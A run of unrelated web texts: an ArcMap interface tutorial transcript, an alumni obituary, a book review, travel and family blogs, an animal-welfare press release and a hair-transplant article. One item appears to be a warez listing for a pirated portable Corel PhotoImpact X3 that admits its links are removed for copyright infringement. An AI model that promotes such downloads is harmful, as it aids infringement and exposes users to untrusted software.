Simply click on their title bar here, and you can move them around on the screen. You'll notice that as I'm dragging it, I get these various drop zones, so I can dock the table of contents to the top of the screen if I'd like, or I can drag it over here and dock it to the bottom, or I can put it in various positions around the screen. Same thing with the catalogue window. If I click it and then turn on the pin icon, I can drag it into position somewhere else. So for instance, if I went to the right side of the table of contents, I could drag it, drop it on this little drop zone here, and it'll dock the catalogue to the right table of contents. Now, unfortunately, there's no easy way to reset the interface to the standard configuration, but let me show you a little trick here.
In order to reset my interface, what I want to do is close out of ArcMap here, and I don't need to save any of my changes to my map document, and I'm going to go up to my Windows Explorer window. I'm going to click in my address bar up here at the top, and I'm going to type in percent app data percent. This will take me to a slightly different path, depending on what version of Windows you're using. Now, on my computer, it's in the users folder, inside of Adam Wilbert, or my username, inside of app data, and inside of roman. Once you get to whatever folder this takes you to, find the ezre folder here, and double click on it. Then go into your desktop 10.2 folder, or whichever version of ArcMap you're using, and then set up ArcMap.
Finally, we'll go into the templates folder, and we'll find this file here, called normal. This is the default template that starts up with ArcMap. If we simply take this file and drag and drop it into the recycle bin, and then start up ArcMap again, I'll go back to my Exercise Files, Chapter One, double click on that interface file again, you'll notice that when ArcMap starts up, all of the toolbars and menus are put back right where they started originally. So getting your workspace set up to your liking is an important first step in becoming comfortable in the ArcMap environment. Particularly, if you make use of multiple monitors. The ArcMap interface has lots of moving parts, and sometimes being able to quickly find a tool you need is the hardest part of the job.
As you become more familiar with the functions of the different windows, toolbars, and panels, you'll be able to quickly move them into the most efficient location, or selectively remove them from your screen in order to maintain a clear and clutter-free view of your map.
- Getting to know the ArcMap interface
- Geocoding addresses
- Measuring distances
- Adding and importing data
- Labeling and adding graphs
- Editing layer properties
- Seeing multiple views
- Making selections
- Exploring geospatial data with ArcCatalog
- Working with vector and raster data
- Styling the map
- Adding your own data
- Using the ModelBuilder
- Adding a legend and annotations


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Corel Photoimpact X3 v13.00 (Portable)
Corel Photoimpact X3 v13.00 (Portable) | 335.7 Mb
PhotoImpact X3 is packed with fun photo projects, easy one-click photo fixes and new digital art tools that make your creative projects look their best. Quickly touch up your favorite pictures with innovative ExpressFix editing. Use customizable project templates to create memorable photo gifts in just minutes. Get creative with drawing and painting tools, and work with graphics to enhance your video productions. Whether you're a beginner or it's your hobby, PhotoImpact X3 will help you create professional-looking graphics for slide shows, videos, DVDs and more.
Easy & Fast ExpressFix Mode
Automated photo enhancements and easy-to-understand options put the tools you need at your fingertips.
Instantly fix exposure, color and composition
Beginners like the simplicity, experienced users like the efficiency
Amazing Digital Art
Paint realistic looking clouds with the Cloud pen
Enhance your photos with creative filters
Draw and paint like a pro
Fun Photo Projects
Use easy wizards to create fun photo projects and gifts. Choose from over 200 customizable templates for a wide range of ways to share your pictures.
Comic strips
Greeting cards
PhotoImpact is a professional raster graphics editor . Boasts clear and intuitive interface, pretty features and a wide range of different supplements (textures , patterns, effects). The program also has built-in tools for web development.
Nice look , intuitive interface, high speed, a huge range of textures, templates and effects , completely covering all the possible tasks for creating and editing graphics – all Ulead PhotoImpact. Unleash your potential , unleash creative ideas – Ulead PhotoImpact offers you unlimited possibilities in creating and editing graphics !
Among the innovations of this release can be noted improved mode quickly correct deficiencies photos ExpressFix, new tools for cropping images. Also expanded the means for publishing and sharing images : improved wizard calendars based on the photos , added the ability to create a comic book based on the photos , new types of collages.
Also worth noting is a new tool Cloud Pen, with which you can draw clouds of different types, and different templates for creating labels for the DVD.
The composition of Content Pack includes an extensive library of textures, patterns , effects.
Whats New :
Updates: official site does not provide any info about changes in this version.
For other news, visit my profile every day!
To Unzip the files use 7zip or WinRar.
I recommend to download as fast as you can or you will lose file you need ( Links dead because of Copyright Infringement )


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In Memory
Harumi Takeuchi, a Japanese citizen who came to Amherst in 1938 to join the Class of 1940, returned home just before Pearl Harbor, and became a distinguished diplomat in the Japanese Foreign Service, died after a long illness on August 20 at his home in Tokyo.
Harumi came to the College as a recruit in the Japanese Foreign Service which, in those prewar years, had sent a number of young men to schools in the United States, primarily for language training. He had never heard of Amherst before his assignment, his arrival coincided with the Hurricane of 1938 and when he reached his Morrow Dormitory room, discovered a bed and a desk but no sheets or blankets. But with the hurricane in full force, several dormitory mates came to his rescue by providing him with the needed bedding. As he told the story in a speech in 1972 celebrating the fortieth Anniversary of the founding of Amherst House at Doshisha Univesirty in Kyoto, tense relations between the United States and Japan had begun to be felt at that time, but "despite these situations the students were kind to me when I first went there (to Amherst) as a foreigner from Japan. I was deeply impressed with this."
After receiving his degree in 1940, Harumi spent a year at Harvard, but in July 1941, five months before Pearl Harbor, he was ordered home. "When our ship called at Honolulu," he wrote in his speech, "the Consul General of Japan asked me to carry home the Emperor's portrait. At that time his portraits were handled with great reverence, and I felt the great responsibility I had been given. The Consul General himself came to my ship carrying the portrait wrapped in many folds of cloth. This shows how strained the situation became by July of 1941."
Harumi was an army draftee in the war and at its end, he was assigned, as a lieutenant, to the Japanese surrender mission as an interpreter. The mission flew from Tokyo to Manila under tight security as there was fear of the plane being shot down by "army hardliners." Although loss of fuel caused the plane to make a forced landing in the ocean on its return to Tokyo, the mission eventually returned safely with the surrender instruments in Harumi's custody.
He then launched on a long career in the Foreign Ministry, serving as Ambassador to New Zealand, the Philippines and Italy and then as Chief of Protocol at the Ministry. In this post he helped prepare and accompany the Emperor and Empress on a visit to six European countries in 1971. As Harumi wrote in our 50th Reunion book, "The visit was not only a historic first, but also served as the international confirmation of a newborn, peaceful Japan." He retired from the Foreign Ministry in 1975.
Although Harumi came to this country essentially in the interest of his country just as the war was about to break out, he became a great friend to the United States and of the College. He deplored the militarism of the Japan of the '30's and '40's and often spoke of his admiration for Americans, a feeling he attributed in part to the kind treatment he received at Amherst. He never returned to the campus, but in 1960, at our 60th Reunion, his speech at Doshisha was summarized by classmate Fred Stott at a World War II symposium sponsored by our class. Harumi also became a close friend of Otis Cary '43, who spoke fluent Japanese when he entered Amherst and eventually taught at the College and served a term as head of Amherst House.
Harumi is survived by his wife Hisako, a son, Haruhisa, born in Washington D.C. on Washington's Birthday, 1952 (his middle name is George), a member of the Japanese Foreign Service, and a daughter Hiroko of London.
—Frederick Byrne '40


text: Antrim's novels (The Hundred Brothers, 1997, etc.) are so hilariously inventive, so audacious, and so full of a unique blend of ideas and pratfalls that it's hard to find another contemporary writer to compare him to: Pynchon on lithium? Barthelme on laughing gas? Tom, a psychoanalyst from the prestigious Krakower Institute, decides to gather his other teaching colleagues together for a series of informal suppers to share experiences, gossip, and of course new ideas about "the seemingly endless task of reconciling classical metapsychology to our particular branch of Self/Other Friction Theory." And what less threatening and more informal venue could he choose than the "Pancake House & Bar"? Among Tom's colleagues are Manuel Escobar, a suave "Kleinian" therapist who may be suffering from ethical vagueness; the bumptious, uncouth Richard Bernhardt, a group counselor and Tom's enemy; and the warmly supportive Maria. Matters turn strange when Tom, in an attempt to lighten everyone's mood, decides to instigate a food fight with a nearby table of prissy child psychologists. The disapproving Bernhardt locks him in a bear hug—and somehow thrusts him into an out-of-body experience. For the rest of the night a part of Tom's consciousness hovers near the ceiling of the pancake house, watching and commenting on the increasingly acrimonious and libidinous pursuits below. The conversations of Tom's colleagues are rendered in a pitch-perfect parody of psychoanalytic groupspeak, while contrasting nicely with the heated debates over theory and practice are all-too-fleshly appetites and resentments. As matters deteriorate, the situation becomes more and more absurdly hilarious; no one writes better slapstick than Antrim. Tom's fate is both inevitable and moving. A hilarious send-up of psychoanalysis and a deeply original meditation on the nature of identity. Antrim's distinctive, high-octane comedy of ideas may prove dizzying for some. Those who persevere will find themselves, like Tom, seeing matters in a distinctly new way.


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Location: Civitavecchia
After a long 20 hours of sailing, we finally arrived in a port outside of Rome which would be our new home for the next few days. Our new neighbors would be huge cruise ships, and industrious buildings, a sudden change from our previous locations. After arriving here, the crew gave back to Argo by doing some major boat appreciation. This included scrubbing (with toothbrushes) and slaving over the small sheets of our beds down below. I'm sure I can speak for everyone that we worked hard under the warm Italian heat, breaking a sweat and working on our tan. As a reward, the crew was granted some free time in Civitavecchia to roam the city as they please. The group split up for a bit some in search of some internet connection and a good old fashioned Mcdonald's Big Mac, while others were in pursuit of Gelato. After a bit of walking and a lot of asking for directions, the group finally met up with this cold treat. Civitavecchia is an old town with a good mix of the old, and the new which made it so much fun to explore. We finished the day with some very interesting showers and a sail chat. Everyone is heading to bed early, as we are waking up bright and early for Rome.


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You're Walking, Right? If You're Not, Why Aren't YOU!
Posted on October 19 2017
Walking is easier on your body than probably any other exercise, which is usually more vigorous, such as running and competitive sports, but that doesn't mean it isn't good exercise....Read More
Walking But Your Feet Just Aren't Getting You There!
Posted on October 12 2017
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Being Healthy Is YOUR Responsibility!
Posted on October 05 2017
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So, Why Aren't YOU in this Year's 4th of July Parade?
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Can You Drink Too Much Water?
Posted on June 20 2016
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Ideas for Father's Day Fun…… Beats Giving Him a Tie!!!
Posted on June 13 2016
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Why Sitting At Your Desk All Day Can Keep You From Being A Healthy You!!
Posted on May 26 2016
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14 Walking Workouts To Burn Fat And Boost Energy
Posted on April 26 2016
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Posted on April 18 2016
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Are You Subject To Getting Shin Splints?
Posted on April 06 2016
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What is Flexible Dieting? Here's How to Get Started
Posted on March 21 2016
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Exercise Tips for People with Diabetes
Posted on March 04 2016
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Here are 6 Fall Fitness Ideas to get You Moving:
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25 Reasons You Should Exercise!
Posted on May 15 2015
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Posted on April 10 2015
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Posted on March 05 2015
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7 Tips to Maintaining Heart Health:
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Ok,, Now it's Time to Start!!
Posted on August 20 2014
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How to Choose the Right Type of Walking Shoes
Posted on April 11 2014
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Starbuck, MN — Compassion Over Killing (COK), a national animal protection organization is releasing an undercover video filmed inside Hargin, Inc., a turkey breeding factory farm in Starbuck, Minnesota where an estimated 25,000 female turkeys are locked inside filthy, overcrowded sheds.
These hens will spend their lives being artificially inseminated over and over again — a frightening and violent process — to continually lay eggs that will hatch young turkeys to be raised and slaughtered for food, including Thanksgiving dinners. Some of the eggs from this facility will be sold to Minnesota-based Willmar Poultry, the nation's largest turkey hatchery previously exposed for inhumane treatment of newly-hatched birds.
As our video shows, hens routinely become entangled in the dilapidated and poorly-maintained mechanical nests used to collect eggs. In an effort to free themselves, these birds often endure severe, bloody injuries on their wings, feet, or necks — some will suffer so severely, they're unable to survive.
There are no federal laws in the United States protecting turkeys (or other birds raised for food) from such cruelty, and as is standard in the industry, sick and injured birds are typically left to suffer without any veterinary care.
Turkeys are smart, social and inquisitive birds with unique personalities. They're devoted mothers who, given the opportunity, are inseparable from their babies. At breeding factories like Hargin turkey farm, however, these hens will never get a chance to even see their young.
"Consumers are increasingly discovering the sad reality that animal cruelty is standard practice in the meat industry," said COK's executive director Erica Meier. "That's why this Thanksgiving, a growing number of Americans are choosing to celebrate with a vegetarian meal that everyone, including the turkeys, can be thankful for."
According to the US Dept. of Agriculture, turkey production is projected to drop 5 percent compared to 2012 — and that would bring it to it's lowest point in 10 years.
For more information, including investigative footage, visit: COK.net/hargin


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The month of July has come and gone, and our poor little blog has been ignored. Sorry about the lack of posts, we have definitely been staying busy, playing outside, and enjoying the summertime! Here's the Top Ten Reasons why we haven't been blogging!
Reason #10
We celebrated the 4th of July at Snowbird Ski Resort. It was beautiful, and we were able to catch up with a lot of friends from college at USU. We sure do miss them!
We celebrated the 24th of July with my parents and the Lansings…(well, we actually celebrated the 25th of July!....Hooray for the Mormons coming to Utah…..yesterday!) We had fireworks and dinner, and enjoyed my dad's biannual fireworks dance. Yes, my dad dances. On the 4th and 24th we see his talent for interpretative dance. It is quite spectacular actually. I'm not sure if I enjoy the fireworks or my dad's pirouettes more!
Kelly went to Denver for a week. He led the Capital Youth Missions team to Colorado for some good times, and to share the love of Jesus! He headed up the team of 11 youth and 3 other leaders. Kelly's group of 4 youth spent the week serving in an assisted living home. He came back with some fabulous stories of really neat people! (I feel like he should post about his experience, because I can't do it justice!) Noah and I really missed him, but he gave us a little gift to open each day while he was gone, and prepared a video for us to watch each night before we went to bed. Noah LOVED seeing his daddy! Each night I would feed him, give him his little massage, and then start the video, and he would get so excited to see Kelly!
While Kelly was gone for a week, we stayed super busy! We went to lunch with Kali to say farewell as she heads off to Denver seminary, went to a horse show with Nana, celebrated Poppa's birthday (Happy 55 DAD!!!), went to Cowabunga Bay water park with Nana, Poppa, Aunt Adrienne, and Ty-Ty, went to dinner with Rachel, and went to a Relay for Life for our little friend Lola. I met Lola at Primary Children's where she is a patient. She was diagnosed with cancer of her eye (retinoblastoma) when she was merely 7 months old. She had had dozens of chemotherapy treatments, surgeries, and examinations, and has been CANCER FREE for over a year! She is now two years old and full of LIFE! Lola and her family have become really great friends, and we were honored to be a part of her Relay for Life team! This was such a success, and raised so much money for cancer research for the American Cancer Society! If any of you want to get involved with Relay for Life, or would like to donate to the American Cancer Society, let me know! Amazing things are happening here.
My dad with Tyler on my dad's birthday.
Noah and Shelli floating the lazy river at the water park.
Worn out after a wild day at the waterpark.
Fun times at Daybreak pool.
Playing at Kearns pool with AD and Ty.
Kelly came back home, we had just enough time to give him a hug and kiss, and he hit the ground running! He's so busy with work, and is in overdrive to get videos, graphics, pictures, etc. etc. done. We are happy to have him home though!
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"Space Oddity" is a song written and performed by David Bowie and released as a music single in July 1969.the title, which alludes to the film 2001: A Space Odyssey
The song exists in two different 1969 versions. The original and shorter version of the song (3:48) was used in the promotional film Love You Till Tuesday. The longer re-recorded version of the song (5:18) was included as the opening song for the 1969 album David Bowie.
The song is about the launch of Major Tom, a fictional astronaut, and was released during a period of great interest in space flight. The United States' Apollo 11 mission would launch 5 days later, and would become the first manned moon landing another 5 days later.The lyrics have also been seen to criticize the British space programme, which had only launched rockets at that time and has never attempted a moon landing.
Bowie would later revisit his Major Tom character in the songs "Ashes to Ashes", "Hallo Spaceboy" and "Backstair".
In 2013, the song gained renewed popularity after it was covered by Canadian astronaut Chris Hadfield, who performed the song while aboard the International Space Station, and therefore became the first music video shot in space.
I bet you have watched it in youtube or on tv more than once. I hope you enjoyed it!
In January 2016, the song gained new popularity following the death of David Bowie, ranking as third on iTunes on January 12, 2016.
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So many people ask me "why do you like cruising so much?" Well that is an easy answer, but I thought I would do a blog entry about it.
I grew up with the Love Boat series. I would watch the show every Saturday and dream that I was Vicki -- I was Vicki but only 20 years younger -- but one day I wanted to experience what was happening on board the "Love Boat". Things are definitely different than on the "Love Boat"
- cabins are much much smaller
- cruise director/purser do not welcome you on board with a list of passengers on a clip board
- your room key now also acts as a card to charge everything while on board
- ships are much much larger
- never once saw Charo, or heard her
- you rarely see the Captain interacting with the public
- at sail aways you never see them throwing streamers off the side (not green)
- security is much much tighter, rarely see guest on board
- a lot less formal
- now there are tons of options for dining, not just one small dining room
- entertainment is vast and everyone will find something to suit their taste
- you never see stowaways
As I grew up I knew that a cruise would be in my future, but I couldn't afford it. I worked full time but decided my goal was to sail so I took on a part time job to save for a cruise. My first cruise was in the fall of 1989 on Carnival Ecstasy. I was hooked.
I have done many other vacations, land tours, Europe, All Inclusive to Mexico, Car trips, and been all over Canada, but my heart has always been in cruising.
I first introduced cruising to my husband in 1997 on the original Star Princess. Thankfully he enjoyed it and was open to cruising again. We sailed again on a back to back in 2002 and I can safely say that he too was hooked after that.
Cruising offers you so much more than other vacations.
- Unpack once and visit many different spots
- Accommodations are at a high standard and depending on how much you want to spend you can decide on your cabin type, from and inside, outside, balcony, mini suite, suite and full suite. However all cabins get the same treatment throughout the ship. We've been on some land vacations where if you booked a higher room you were given priorities and access to special areas.
- Activities onboard are numerous. You can be as busy as you want or as relaxed as you want, it is up to you. I have never been bored on a ship.... but at a land based holiday you have to leave your resort to get a full range of activities that you would get on a ship.
- Dining, now sure everyone says you will gain weight, and yup they are right. But it is up to you as there are so many options for dining. You can eat in the dining room, the buffet (some ships have two buffets), room service, one of many specialty restaurants, hamburger/pizza up on deck, and some ships have sushi and tapas bars. Of the above list only the specialty restaurants and sushi/tapas come at an extra price, otherwise it is included.
- The people! Everyone on board is on vacation, everyone got on when you did, and everyone is getting off when you do. On land vacations you make friends with someone and they leave a day or so later. Relationships develop and long lasting friendships continue.... laughs are heard throughout the ship as you get to know everyone.
- Cruising rewards loyalty. We sail with mainly Princess and after five cruises they give you free Internet package, priority boarding, lounge for disembarkation. After 15 cruises the perks grow to also include laundry/dry cleaning, mini bar set up, priority tendering, wine tasting etc. So far I have never seen a loyalty package like this for land vacation.
- The price is very reasonable. Often the price I pay for a two week cruise vacation (including air) is much less than a one week all inclusive at a four star resort. Sure the price of the cruise doesn't include alcohol, but usually the saving of around $400 can pay for a lot of drinks. The price I paid for my first cruise is similar to the price I pay for my cruise now. One thing that has happened is that they now charge for more things while on board, like specialty coffees, tapas, etc. But the way I look at it I would rather pay a low price for the cruise and then decide what I want to buy while on board.
- The staff -- truly these are the people that make our vacation. They are all very dedicated individuals who work very hard to make your holiday the best it can be. We have become friends with many crew and have even sailed on their ship again to see them.
- Cruiselines usually guarantee their prices. Which means if you book and then the price comes down before final payment (some cruislines even offer after final payment) they will lower your price too. This doesn't happen at resorts. When you book, you pay and too bad if it goes down.
- The ports! The thoughts of travelling around and stopping ports each day is such a dream. Sure you may have limited time in each port but it sure gives you the opportunity to see if this is a place you want to come back to or not. And for many this may be the only way they get to see these places.
- The sea days! They say the sign of a "true" cruiser is that they love sea days. When we first booked cruises we wanted as many ports as possible. That has changed, it is very important to us that we have time to relax and those sea days provide that. On sea days we sleep in, get room service breakfast, get a latte from the coffee bar, read a book, lounge in the sun, eat lunch in the dining room, see a movie in the afternoon, play trivia with friends, have drinks with friends on our balcony, take dance lessons, go on tours of areas of the ship, and the list goes on and on and on.
Have I convinced you? Have I left anything out? Feel free to comment.


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My memories of the Utah State Fair include big pigs, tacky salesmen pushing window cleaning gimmicks, and gang shootings. None of that prepared me for the Marin County Fair which is probably the biggest event in Marin County every year. It's great fun. They get slightly washed up but high quality bands to play. They have great art displays including a very quirky creative chair-sculpture contest. Firework displays are put on every night, usually culminating on July 4th. It's great fun. Ewan and I went yesterday. To save some $ I packed a backpack with a lunch of roast beef sandwiches, apples, and cookies (also sweaters for evening and the camera). We rode rides, I even gave in and let Ewan play a few of those rip off carny games.


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Hair transplantation has can be successful in for Female Pattern Alopecia and the number of females seeking hair restoration surgery is on the rise. In our society it is socially acceptable for a man to lose his hair. He may not like it, but at least male pattern hair loss is considered a variation of "normal". After all, a majority of men have some degree of noticeable hair loss by the time they reach midlife. Hair loss in females is not as socially acceptable. With female pattern baldness, women feel "abnormal" and find themselves in a position that makes them extraordinarily uncomfortable.
The incidence of Female Pattern Alopecia (FPA) is greater than most people realize. Norwood recently reported that female pattern alopecia is as high as 30% in females over 30 years of age. Others have reported even higher incidences when females are carefully examined. One reason why this is not generally appreciated is that females are very good at hiding thinning with hairstyles, products and hairpieces.
The pattern of hair loss in FPA is different then MPA in that the hairline is usually not affected but there is diffuse thinning in the central scalp behind the hairline. Ludwig and Olsen described the pattern slightly differently. Ludwig described FPA as occurring in a caudal and centrifugal pattern in which hair in the hairline is maintained, though it may thin to varying degrees. Ludwig created a scale in which she divides FPA into Ludwig Type 1, Type 2 and Type 3 with severity getting progressively worse as we move from 1 to 3. Olsen described a "Christmas tree" pattern of loss which begins as a "widened part" but evolves into a zone of hair loss that is widest anteriorly at the hairline and gradually narrows, with ragged borders, more posteriorly
Females have some special issues that need to be addressed before deciding if they are a good candidate for surgery. First of all, females are prone to other etiologies of hair loss. If there are any signs and/or symptoms suggestive of an endocrine, metabolic or dermatological cause, they should be investigated and treated appropriately. It is also important to rule out temporary hair loss caused by severe emotional or physical stress leading to telogen effluvium. However the majority of females seeking transplantation for hair loss have no apparent cause other FPB.
Females are much more susceptible to the postoperative complication of "shock loss" or "telogen effluvium" of existing native hair still present in the recipient area. Post operative shock loss occurs when pre-existing native hair is triggered to go into a telogen (resting) phase by the local stressors of surgery. In men this can occur from 10% to 20% of the time while in females it occurs more frequently, almost 30% to 50% of the time.In general this shock loss is temporary, occurring about 2-3 months after surgery and resolving in about 4-6 months. However in some situations it does not totally resolve leading to a less dense result. Women need to be warned about this before surgery.
Another abnormality quite commonly found in females is genetically high hairlines that give the appearance of a large forehead. This may be the result of heredity or secondary to a brow lift. Women with this situation feel uncomfortable wearing their hair up or back and often wear bangs. Hair transplants are an excellent tool with which to lower the hairline.An alternative method of lowering the hairline is with the hairline advancement flap discussed earlier in this.
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